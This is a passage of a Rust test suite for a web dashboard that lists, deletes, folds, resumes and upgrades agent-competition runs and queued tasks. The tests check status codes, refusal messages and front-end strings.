4176 serde_json::json!({
4177 "schema": 2,
4178 "updated_at": Timestamp::now().to_string(),
4179 "idle": true,
4180 "surprise": { "nested": [1, 2, 3] },
4181 })
4182 .to_string(),
4183 )
4184 .expect("write daemon.json");
4185
4186 let health = f.get("/api/health").await;
4187
4188 assert_eq!(health.status, 200);
4189 assert_eq!(health.json()["daemon"]["running"], true);
4190 }
4191
4192 #[tokio::test]
4193 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4194 let f = Fixture::start().await;
4195 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4196 let broken = f.runs().join("20260902-140502-bad");
4197 std::fs::create_dir_all(&broken).expect("run dir");
4198 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4199
4200 let list = f.get("/api/runs").await;
4201 let detail = f.get("/api/runs/20260902-140502-bad").await;
4202
4203 assert_eq!(list.status, 200);
4204 let listed = list.json();
4205 let ids: Vec<&str> = listed
4206 .as_array()
4207 .expect("an array")
4208 .iter()
4209 .map(|r| r["id"].as_str().expect("an id"))
4210 .collect();
4211 assert_eq!(
4212 ids,
4213 vec!["20260902-140501-good"],
4214 "one unreadable run must not cost the operator the whole history"
4215 );
4216 assert_eq!(detail.status, 500);
4217 assert!(
4218 detail.json()["error"]
4219 .as_str()
4220 .is_some_and(|e| e.contains("run.json")),
4221 "the failure names the file to look at: {}",
4222 detail.body
4223 );
4224 let health = f.get("/api/health").await;
4228 assert_eq!(health.json()["runs_unreadable"], 1);
4229 }
4230
4231 #[tokio::test]
4232 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4233 let f = Fixture::start().await;
4234 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4235
4236 let summary = f.get("/api/runs").await.json();
4237 let row = &summary[0];
4238 assert_eq!(row["short"], "a1b2");
4239 assert_eq!(row["status"], "ready");
4240 assert_eq!(row["done"], true);
4241 assert_eq!(row["title"], "Add a web UI");
4242 assert_eq!(row["repo_name"], "magi");
4243 assert_eq!(row["judges"], 3);
4244 assert_eq!(row["winner"], Value::Null);
4245 assert_eq!(row["reviews"], 0);
4246
4247 let detail = f.get("/api/runs/a1b2").await;
4250 assert_eq!(detail.status, 200);
4251 assert_eq!(detail.json()["base_branch"], "main");
4252 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4253 }
4254
4255 #[tokio::test]
4256 async fn the_run_list_is_newest_first_and_honours_a_limit() {
4257 let f = Fixture::start().await;
4258 for id in [
4259 "20260902-140501-aaaa",
4260 "20260902-140502-bbbb",
4261 "20260902-140503-cccc",
4262 ] {
4263 write_run(&f.runs(), id, RunStatus::Merged);
4264 }
4265
4266 let all = f.get("/api/runs").await.json();
4267 let capped = f.get("/api/runs?limit=2").await.json();
4268
4269 assert_eq!(all[0]["id"], "20260902-140503-cccc");
4270 assert_eq!(all.as_array().map(Vec::len), Some(3));
4271 assert_eq!(capped.as_array().map(Vec::len), Some(2));
4272 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4273 }
4274
4275 #[tokio::test]
4276 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
4277 let f = Fixture::start().await;
4278 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
4279
4280 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
4281
4282 assert_eq!(res.status, 200);
4283 assert!(
4284 res.headers
4285 .contains("content-type: text/plain; charset=utf-8"),
4286 "a browser must render it, not download it: {}",
4287 res.headers
4288 );
4289 assert!(
4293 res.body.contains("20260902-140501-a1b2"),
4294 "the report is about the run that was asked for: {}",
4295 res.body
4296 );
4297 }
4298
4299 #[tokio::test]
4300 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
4301 let f = Fixture::start().await;
4302
4303 let html = f.get("/").await;
4304 let css = f.get("/app.css").await;
4305 let js = f.get("/app.js").await;
4306
4307 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
4308 assert!(
4309 html.headers
4310 .contains("content-type: text/html; charset=utf-8")
4311 );
4312 assert!(css.headers.contains("content-type: text/css"));
4313 assert!(js.headers.contains("content-type: text/javascript"));
4314 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
4315 }
4316
4317 #[tokio::test]
4318 async fn the_change_stream_announces_the_current_revisions_on_connect() {
4319 let f = Fixture::start().await;
4320
4321 let mut socket = tokio::net::TcpStream::connect(f.addr)
4322 .await
4323 .expect("connect");
4324 socket
4325 .write_all(
4326 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
4327 )
4328 .await
4329 .expect("write request");
4330
4331 let mut seen = String::new();
4334 let mut buf = [0u8; 1024];
4335 while !seen.contains("event: change") {
4336 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
4337 .await
4338 .expect("the stream must speak within five seconds")
4339 .expect("read");
4340 assert!(read > 0, "the server closed the change stream: {seen}");
4341 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
4342 }
4343
4344 assert!(
4345 seen.to_lowercase()
4346 .contains("content-type: text/event-stream"),
4347 "the browser only reconnects automatically for a real SSE stream: {seen}"
4348 );
4349 let data = seen
4350 .lines()
4351 .find_map(|l| l.strip_prefix("data:"))
4352 .expect("a data line");
4353 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
4354 assert!(
4355 payload["queue_rev"].is_u64()
4356 && payload["runs_rev"].is_u64()
4357 && payload["questions_rev"].is_u64()
4358 && payload["chats_rev"].is_u64()
4359 && payload["loop_rev"].is_u64(),
4360 "the client needs one revision per store to know what to refetch, \
4361 and `chats_rev` is the only notification a slow interview gets - \
4362 a phone whose radio slept through a turn learns about it here, as \
4363 does one whose operator started the loop from another device: \
4364 {payload}"
4365 );
4366
4367 let health = f.get("/api/health").await.json();
4374 for key in [
4375 "queue_rev",
4376 "runs_rev",
4377 "questions_rev",
4378 "chats_rev",
4379 "loop_rev",
4380 ] {
4381 assert!(
4382 health[key].is_u64(),
4383 "health is the change stream's fallback and is missing `{key}`: {health}"
4384 );
4385 }
4386 }
4387
4388 #[test]
4389 fn bind_reads_back_from_the_spelling_the_cli_prints() {
4390 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
4394 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
4395 }
4396 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
4397 assert!("everywhere".parse::<Bind>().is_err());
4398 }
4399
4400 #[test]
4401 fn an_explicit_bind_address_is_taken_verbatim() {
4402 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
4403
4404 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
4405
4406 assert_eq!(addr, asked);
4407 assert!(
4408 warning.is_none(),
4409 "an operator who named an address gets no lecture"
4410 );
4411 }
4412
4413 #[test]
4414 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
4415 let (addr, warning) = resolve_bind(&Bind::Auto);
4416
4417 match addr {
4424 IpAddr::V4(ip) if is_tailnet(&ip) => {
4425 assert!(warning.is_none(), "a tailnet address needs no warning");
4426 }
4427 other => {
4428 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
4429 let warning = warning.expect("a fallback has to explain itself");
4430 assert!(
4431 warning.contains("127.0.0.1") && warning.contains("local-only"),
4432 "the warning says what happened and what it costs: {warning}"
4433 );
4434 }
4435 }
4436 }
4437
4438 #[test]
4439 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
4440 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
4444 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
4445 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
4446 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
4447 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
4448 }
4449
4450 #[test]
4451 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
4452 let ids = vec![
4453 "20260902-140501-aaaa".to_owned(),
4454 "20260902-140502-aabb".to_owned(),
4455 ];
4456
4457 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
4458 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
4459 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
4460
4461 assert_eq!(missing.status, StatusCode::NOT_FOUND);
4462 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
4463 assert_eq!(short, "20260902-140502-aabb");
4464 }
4465 #[tokio::test]
4466 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
4467 let fx = Fixture::start().await;
4473 let id = panel(
4474 &fx,
4475 "<img src=\"shot.png\">",
4476 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
4477 );
4478
4479 let doc = fx
4481 .get(&format!("/api/questions/{id}/panel/index.html"))
4482 .await;
4483 assert_eq!(doc.status, 200, "{}", doc.body);
4484 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
4485
4486 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
4487 assert_eq!(sibling.status, 200, "{}", sibling.body);
4488 assert_eq!(sibling.header("content-type"), Some("image/png"));
4489 assert_eq!(
4490 sibling.header("content-security-policy"),
4491 Some(PANEL_CSP),
4492 "the sibling route must carry the same policy as the asset route"
4493 );
4494
4495 assert_eq!(
4498 fx.head(&format!("/api/questions/{id}/panel")).await.status,
4499 200
4500 );
4501 }
4502
4503 #[test]
4504 fn runs_revision_moves_when_deleting_an_older_run() {
4505 let temp = TempDir::new().expect("tempdir");
4506 let runs = temp.path().join("runs");
4507 std::fs::create_dir_all(&runs).expect("create runs dir");
4508
4509 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
4510
4511 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
4512 std::thread::sleep(Duration::from_millis(10));
4513 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
4514
4515 let rev_before = runs_revision(&runs);
4516 assert!(rev_before > 0);
4517
4518 let old_dir = runs.join("20260901-100000-old1");
4519 std::fs::remove_dir_all(&old_dir).expect("remove old run");
4520
4521 let rev_after = runs_revision(&runs);
4522 assert_ne!(
4523 rev_before, rev_after,
4524 "deleting an older run must change the revision so other clients see the deletion"
4525 );
4526 }
4527
4528 #[tokio::test]
4529 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
4530 let fx = Fixture::start().await;
4531 let q = fx.queue();
4532
4533 let mut t1 = Task::new(
4535 "Task 1".to_owned(),
4536 "Instruction 1".to_owned(),
4537 PathBuf::from("/repo"),
4538 Source::Human,
4539 );
4540 let run_id = "20260901-000000-r111";
4541 t1.runs.push(run_id.to_owned());
4542 write_run(&fx.runs(), run_id, RunStatus::Merged);
4543 q.put(&mut t1).expect("put t1");
4544
4545 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
4547 assert_eq!(res.status, 204);
4548 assert!(res.body.is_empty(), "204 No Content has no body");
4549 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
4550 assert!(
4551 fx.runs().join(run_id).exists(),
4552 "run directory must not be deleted when its task is deleted"
4553 );
4554
4555 let mut t2 = Task::new(
4557 "Task 2".to_owned(),
4558 "Instruction 2".to_owned(),
4559 PathBuf::from("/repo"),
4560 Source::Human,
4561 );
4562 t2.status = TaskStatus::Running;
4563 q.put(&mut t2).expect("put t2");
4564 let mut beat = crate::daemon::Status::new();
4565 beat.current = Some(crate::daemon::Current {
4566 task: t2.id.clone(),
4567 run: "20260901-000000-r222".to_owned(),
4568 });
4569 beat.updated_at = jiff::Timestamp::now();
4570 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4571 .expect("publish a heartbeat");
4572 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
4573 assert_eq!(res.status, 409);
4574 assert!(
4575 res.json()["error"]
4576 .as_str()
4577 .unwrap()
4578 .contains("live daemon")
4579 );
4580 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
4581
4582 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
4588 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4589 .expect("leave a stale heartbeat");
4590 let mut t3 = Task::new(
4591 "Task 3".to_owned(),
4592 "Instruction 3".to_owned(),
4593 PathBuf::from("/repo"),
4594 Source::Human,
4595 );
4596 t3.status = TaskStatus::Running;
4597 q.put(&mut t3).expect("put t3");
4598 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
4599 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
4600 assert_eq!(res.status, 204);
4601 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
4602 assert!(
4603 q.claim(&t3.id).is_ok(),
4604 "the stale lock went with it, so the id is claimable again"
4605 );
4606
4607 let res = fx.delete("/api/queue/nonexistent").await;
4609 assert_eq!(res.status, 404);
4610 }
4611
4612 #[tokio::test]
4613 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
4614 let fx = Fixture::start().await;
4615 let runs = fx.runs();
4616
4617 let run_id = "20260901-000000-fold";
4619 let mut state = RunState::new(
4620 PathBuf::from("/repo"),
4621 "main".to_owned(),
4622 "abc".to_owned(),
4623 "instruction".to_owned(),
4624 Config::default(),
4625 );
4626 state.id = run_id.to_owned();
4627 state.status = RunStatus::Merged;
4628 state.candidates.push(crate::run::Candidate {
4629 index: 0,
4630 label: 'A',
4631 agent: "a".to_owned(),
4632 branch: "b".to_owned(),
4633 worktree: PathBuf::from("/w"),
4634 summary: String::new(),
4635 stat: String::new(),
4636 files: 1,
4637 commits: 1,
4638 empty: false,
4639 failed: None,
4640 duration_ms: 0,
4641 folded: true,
4642 });
4643 let dir = runs.join(run_id);
4644 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
4645 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
4646 .expect("write artifact");
4647 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
4648 .expect("write run.json");
4649
4650 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
4652 assert_eq!(res.status, 204);
4653 assert!(res.body.is_empty(), "204 has no body");
4654 assert!(!dir.exists(), "run directory and artifacts must be deleted");
4655
4656 let run_running = "20260901-000000-rung";
4661 write_run(&runs, run_running, RunStatus::Prep);
4662 let mut beat = crate::daemon::Status::new();
4663 beat.current = Some(crate::daemon::Current {
4664 task: "20260901-000000-task".to_owned(),
4665 run: run_running.to_owned(),
4666 });
4667 beat.updated_at = jiff::Timestamp::now();
4668 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4669 .expect("publish a heartbeat");
4670 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
4671 assert_eq!(res.status, 409);
4672 assert!(
4673 res.json()["error"]
4674 .as_str()
4675 .unwrap()
4676 .contains("live daemon"),
4677 "the refusal must say who is holding it"
4678 );
4679 assert!(
4680 runs.join(run_running).exists(),
4681 "a run in flight keeps its directory"
4682 );
4683
4684 let run_unfolded = "20260901-000000-unfd";
4686 let mut state2 = RunState::new(
4687 PathBuf::from("/repo"),
4688 "main".to_owned(),
4689 "abc".to_owned(),
4690 "instruction".to_owned(),
4691 Config::default(),
4692 );
4693 state2.id = run_unfolded.to_owned();
4694 state2.status = RunStatus::Ready;
4695 state2.candidates.push(crate::run::Candidate {
4696 index: 0,
4697 label: 'A',
4698 agent: "a".to_owned(),
4699 branch: "b".to_owned(),
4700 worktree: PathBuf::from("/w"),
4701 summary: String::new(),
4702 stat: String::new(),
4703 files: 1,
4704 commits: 1,
4705 empty: false,
4706 failed: None,
4707 duration_ms: 0,
4708 folded: false,
4709 });
4710 let dir2 = runs.join(run_unfolded);
4711 std::fs::create_dir_all(&dir2).expect("create dir2");
4712 std::fs::write(
4713 dir2.join("run.json"),
4714 serde_json::to_string(&state2).unwrap(),
4715 )
4716 .expect("write run.json");
4717
4718 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
4719 assert_eq!(res.status, 409);
4720 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
4721 assert!(dir2.exists(), "unfolded run directory is kept");
4722
4723 let res = fx.delete("/api/runs/nonexistent").await;
4725 assert_eq!(res.status, 404);
4726 }
4727
4728 #[test]
4729 fn web_ui_delete_contract_in_front_end() {
4730 assert!(APP_JS.contains("deleteRun:"));
4732 assert!(APP_JS.contains("deleteTask:"));
4733
4734 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
4736 ..APP_JS.find("function renderRuns").unwrap()];
4737 assert!(!run_cards_slice.to_lowercase().contains("delete"));
4738
4739 assert!(APP_JS.contains("renderRunDelete"));
4741 assert!(APP_JS.contains("runDeleteReason"));
4742 assert!(APP_JS.contains("magi fold"));
4743 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
4744
4745 assert!(APP_JS.contains("cancel.focus"));
4747 assert!(APP_JS.contains("armedRunDelete"));
4748 assert!(APP_JS.contains("armedDelete"));
4749
4750 assert!(APP_JS.contains("disabled: status === \"running\""));
4752 }
4753
4754 #[tokio::test]
4755 async fn folding_from_the_phone_reports_what_it_removed() {
4756 let fx = Fixture::start().await;
4757 let runs = fx.runs();
4758
4759 let id = "20260901-000000-fold";
4763 write_run(&runs, id, RunStatus::Stalled);
4764 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4765 assert_eq!(res.status, 200);
4766 assert_eq!(res.json()["removed_count"], 0);
4767 assert_eq!(res.json()["run"], id);
4768 assert!(
4769 runs.join(id).exists(),
4770 "a fold keeps the run's record; only the worktrees go"
4771 );
4772 }
4773
4774 #[tokio::test]
4775 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
4776 let fx = Fixture::start().await;
4777 let runs = fx.runs();
4778 let id = "20260901-000000-live";
4779 write_run(&runs, id, RunStatus::Implementing);
4780
4781 let mut beat = crate::daemon::Status::new();
4782 beat.current = Some(crate::daemon::Current {
4783 task: "20260901-000000-task".to_owned(),
4784 run: id.to_owned(),
4785 });
4786 beat.updated_at = jiff::Timestamp::now();
4787 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4788 .expect("publish a heartbeat");
4789
4790 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4791 assert_eq!(res.status, 409);
4792 assert!(
4793 res.json()["error"]
4794 .as_str()
4795 .unwrap()
4796 .contains("live daemon"),
4797 "folding under a running agent would pull its worktree away"
4798 );
4799 }
4800
4801 #[tokio::test]
4802 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
4803 let fx = Fixture::start().await;
4804 let runs = fx.runs();
4805
4806 for (status, word) in [
4807 (RunStatus::Merged, "merged"),
4808 (RunStatus::Ready, "ready"),
4809 (RunStatus::Failed, "failed"),
4810 (RunStatus::Implementing, "implementing"),
4811 ] {
4812 let id = format!("20260901-000000-{}", &word[..4]);
4813 write_run(&runs, &id, status);
4814 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
4815 assert_eq!(res.status, 409, "{word} must not be resumable");
4816 let err = res.json()["error"].as_str().unwrap().to_owned();
4817 assert!(err.contains(word), "the refusal names the status: {err}");
4818 }
4819 }
4820
4821 #[tokio::test]
4822 async fn resume_is_refused_while_the_loop_is_running() {
4823 let fx = Fixture::start().await;
4824 let runs = fx.runs();
4825 let stalled = "20260901-000000-stal";
4826 write_run(&runs, stalled, RunStatus::Stalled);
4827
4828 let mut beat = crate::daemon::Status::new();
4831 beat.current = Some(crate::daemon::Current {
4832 task: "20260901-000000-task".to_owned(),
4833 run: "20260901-000000-othr".to_owned(),
4834 });
4835 beat.updated_at = jiff::Timestamp::now();
4836 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4837 .expect("publish a heartbeat");
4838
4839 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
4840 assert_eq!(res.status, 409);
4841 let err = res.json()["error"].as_str().unwrap().to_owned();
4842 assert!(err.contains("othr"), "it names what the loop is on: {err}");
4843 assert!(err.contains("one competition at a time"), "{err}");
4844 }
4845
4846 #[test]
4847 fn a_run_cannot_be_resumed_twice_at_once() {
4848 let home = TempDir::new().expect("temp home");
4849 let ui = Ui::new(
4850 Queue::at(home.path().join("queue")),
4851 Questions::at(home.path().join("questions")),
4852 Chats::at(home.path().join("chats")),
4853 home.path().join("runs"),
4854 home.path().to_path_buf(),
4855 PathBuf::from("/repo"),
4856 );
4857 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
4858 let again = ui.begin_resume("20260901-000000-once");
4859 assert!(again.is_err(), "a second tap must not start a second graph");
4860 drop(first);
4861 assert!(
4862 ui.begin_resume("20260901-000000-once").is_ok(),
4863 "and the claim is released when the attempt ends"
4864 );
4865 }
4866
4867 #[test]
4868 fn refreshing_a_conversation_never_navigates_to_it() {
4869 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
4876 ..APP_JS.find("async function startChat(").expect("startChat")];
4877 assert!(
4878 !body.contains("state.chatDetail = {"),
4879 "loadChat must not decide which conversation is on screen: {body}"
4880 );
4881 assert!(
4882 body.contains("if (state.chatDetail.id !== id) return;"),
4883 "it returns instead of drawing a chat the operator is not reading"
4884 );
4885
4886 assert!(
4890 body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
4891 "settle the turn before the on-screen check"
4892 );
4893
4894 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
4896 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
4897 }
4898
4899 #[tokio::test]
4900 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
4901 let fx = Fixture::start().await;
4902 let mut beat = crate::daemon::Status::new();
4906 beat.pid = 4321;
4907 beat.updated_at = jiff::Timestamp::now();
4908 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4909 .expect("publish a heartbeat");
4910
4911 let res = fx.post("/api/upgrade", None).await;
4912 assert_eq!(res.status, 409);
4913 let err = res.json()["error"].as_str().unwrap().to_owned();
4914 assert!(err.contains("4321"), "the refusal names the owner: {err}");
4915 assert!(err.contains("old one against the same queue"), "{err}");
4916 }
4917
4918 #[tokio::test]
4919 async fn an_upgrade_with_nothing_in_flight_says_so() {
4920 let fx = Fixture::start().await;
4921 let res = fx.post("/api/upgrade", None).await;
4925 assert_eq!(res.status, 202, "the reply leaves before the restart does");
4926 let body = res.json();
4927 assert_eq!(body["from"], env!("CARGO_PKG_VERSION"));
4928 assert!(body["parked"].is_null());
4929 assert!(
4930 body["detail"]
4931 .as_str()
4932 .unwrap()
4933 .contains("Nothing was in flight to park"),
4934 "{body:?}"
4935 );
4936 }
4937
4938 #[test]
4939 fn the_upgrade_button_arms_before_it_restarts_anything() {
4940 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
4943 assert!(APP_JS.contains("Replace the binary and restart?"));
4944 assert!(APP_JS.contains("function confirmed("));
4945 assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
4947 }
4948
4949 #[test]
4950 fn the_deck_never_sends_the_operator_to_a_terminal() {
4951 assert!(
4954 !APP_JS.contains("Run `magi fold` first"),
4955 "the deck must offer the fold, not prescribe a shell command"
4956 );
4957 assert!(APP_JS.contains("foldRun:"));
4958 assert!(APP_JS.contains("resumeRun:"));
4959 assert!(APP_JS.contains("renderRunActions"));
4960
4961 assert!(APP_JS.contains("armedFold"));
4963 assert!(APP_JS.contains("Yes, fold worktrees"));
4964
4965 assert!(APP_JS.contains("can no longer be resumed"));
4968 }
4969
4970 #[test]
4971 fn a_finished_run_explains_itself_with_its_own_last_line() {
4972 assert!(
4978 !APP_JS.contains("collapsed on agent quota"),
4979 "a stall must not be explained by a cause the deck did not check"
4980 );
4981 assert!(
4982 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
4983 "and a block must not offer a guess with an `or` in it"
4984 );
4985
4986 assert!(
4990 APP_JS.contains("setText(r.event, run.event || \"\")"),
4991 "the run's last line is rendered unconditionally"
4992 );
4993 assert!(
4994 !APP_JS.contains("moving && run.event"),
4995 "and never gated on the run still moving"
4996 );
4997
4998 assert!(APP_JS.contains("lost to quota"));
5000 }
5001}